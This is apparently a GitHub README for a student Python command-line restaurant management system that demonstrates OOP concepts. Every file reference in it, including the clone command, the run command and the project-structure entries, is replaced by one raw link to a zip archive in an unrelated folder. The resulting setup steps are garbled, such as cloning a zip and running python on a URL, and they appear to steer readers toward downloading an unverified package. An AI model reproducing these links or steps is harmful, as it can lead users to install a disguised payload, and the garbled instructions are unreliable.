Skip to content

iftekharul01/Restaurant-Management-System-in-Python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

🍽️ Restaurant Management System

A comprehensive command-line restaurant management system built with Python, implementing Object-Oriented Programming (OOP) principles including abstraction, inheritance, and encapsulation.

✨ Features

Admin Features

  • 🔐 Secure login with username and password
  • 📊 View total sales and revenue
  • ➕ Add new items to the menu
  • ❌ Delete items from the menu
  • 📋 Display current order menu

Customer Features

  • 🛒 Place orders from the available menu
  • 👀 View ordered items
  • 🗑️ Delete items from current order
  • 💰 Display final bill with total amount

🛠️ Technologies

  • Language: Python 3.x
  • Paradigm: Object-Oriented Programming (OOP)
  • Concepts: Abstraction, Inheritance, Encapsulation, Polymorphism

📥 Installation

  1. Clone the repository

    git clone https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Restaurant-in-Management-Python-System-2.1.zip
  2. Navigate to the project directory

    cd Restaurant-Management-System-in-Python
  3. Ensure Python is installed

    python --version

    Requires Python 3.6 or higher

  4. Run the application

    python https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Restaurant-in-Management-Python-System-2.1.zip

🚀 Usage

Running the Program

python https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Restaurant-in-Management-Python-System-2.1.zip

Main Menu Options

  1. Admin Section - Access administrative features
  2. Customer Section - Place and manage orders
  3. Exit - Close the application

Admin Login Credentials

  • Username: admin
  • Password: 1234

Note: For production use, implement secure password hashing and storage.

📁 Project Structure

Restaurant-Management-System-in-Python/
├── https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Restaurant-in-Management-Python-System-2.1.zip    # Main application file
└── https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Restaurant-in-Management-Python-System-2.1.zip                          # Project documentation

Class Structure

  • MenuItem - Represents individual menu items
  • AbstractMenu - Abstract base class defining menu operations
  • Menu - Implements menu management functionality
  • TotalSales - Extends Menu to calculate and display sales
  • RestaurantManagementSystem - Main class orchestrating the application

🎓 OOP Concepts

1. Abstraction

The AbstractMenu class uses Python's ABC module to define abstract methods that must be implemented by subclasses:

@abstractmethod
def add_item(self, data, foodname, price):
    pass

2. Inheritance

TotalSales inherits from Menu, extending functionality:

class TotalSales(Menu):
    def calculate_total_sale(self):
        # Implementation

3. Encapsulation

Private attributes are used to protect sensitive data:

self.__pass = "1234"  # Private password attribute

4. Polymorphism

Method overriding in the TotalSales class:

def display(self):
    super().display()  # Calls parent method
    # Additional functionality

🔑 Admin Section

Available Operations

  1. View Total Sales

    • Displays all sold items with quantities
    • Shows total revenue generated
  2. Add New Items

    • Enter serial number, name, and price
    • Validates for duplicate entries
  3. Delete Items

    • Remove items by serial number
    • Displays updated menu
  4. Display Order Menu

    • Shows all available menu items

🛍️ Customer Section

Customer Operations

  1. Place Order

    • Select items from the menu
    • Specify quantity
    • Automatic price calculation
  2. View Ordered Items

    • Lists all items in current order
    • Shows quantities and prices
  3. Delete from Order

    • Remove items before finalizing
    • Updates order total
  4. Display Final Bill

    • Shows itemized bill
    • Calculates total amount

📸 Screenshots

**************************************************************************
                WELCOME TO RESTAURANT MANAGEMENT SYSTEM
**************************************************************************

                        1. ADMIN SECTION
                        2. CUSTOMER SECTION
                        3. Exit

🤝 Contributing

Contributions are welcome! Here's how you can help:

  1. Fork the repository
  2. Create a feature branch
    git checkout -b feature/AmazingFeature
  3. Commit your changes
    git commit -m 'Add some AmazingFeature'
  4. Push to the branch
    git push origin feature/AmazingFeature
  5. Open a Pull Request

Potential Improvements

  • 🔐 Implement secure authentication with hashing
  • 💾 Add database integration (SQLite/PostgreSQL)
  • 🖥️ Create GUI using Tkinter or PyQt
  • 📊 Generate sales reports and analytics
  • 🧾 Add receipt printing functionality
  • 💳 Implement payment processing
  • 👥 Support multiple user roles
  • 🌐 Add web interface using Flask/Django

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

👨‍💻 Author

Your Name

🙏 Acknowledgments

  • Built as part of CSE222 (Object-Oriented Programming 2) course project
  • Thanks to all contributors and reviewers

📞 Support

If you encounter any issues or have questions:

  • Open an issue
  • Contact via email

Star this repository if you find it helpful!

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages